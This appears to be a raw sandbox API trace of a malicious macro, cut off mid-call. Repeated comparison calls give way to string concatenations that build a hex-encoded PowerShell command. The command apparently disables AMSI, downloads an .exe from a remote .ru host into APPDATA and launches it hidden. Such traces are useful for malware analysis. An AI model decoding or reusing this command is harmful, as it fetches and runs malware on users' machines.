0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.789] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.790] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.791] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8", bstrRight="D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6", bstrRight="A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECA", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECA", bstrRight="DCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C", bstrRight="8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2", bstrRight="C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8E", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8E", bstrRight="CAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E", bstrRight="564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDA", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.842] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDA", bstrRight="E64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EA", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EA", bstrRight="CA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486", bstrRight="D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5C", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5C", bstrRight="E4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CE", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5CE4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CE", bstrRight="CAE85AD2E8CADA4048CADCEC7482A0A08882A882B8DCCAEEC4EAD2D8C85CCAF0CA525C82E8E8E4D2C4EAE8CAE640567A404E", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5CE4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CECAE85AD2E8CADA4048CADCEC7482A0A08882A882B8DCCAEEC4EAD2D8C85CCAF0CA525C82E8E8E4D2C4EAE8CAE640567A404E", bstrRight="90D2C8C8CADC4E76A6E8C2E4E85AA0E4DEC6CAE6E6405048CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.843] VarBstrCat (in: bstrLeft="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECADCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDAE64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5CE4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CECAE85AD2E8CADA4048CADCEC7482A0A08882A882B8DCCAEEC4EAD2D8C85CCAF0CA525C82E8E8E4D2C4EAE8CAE640567A404E90D2C8C8CADC4E76A6E8C2E4E85AA0E4DEC6CAE6E6405048CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA", bstrRight="4E524444", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0071.844] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.844] VarParseNumFromStr (in: strIn="&H86", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.844] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: 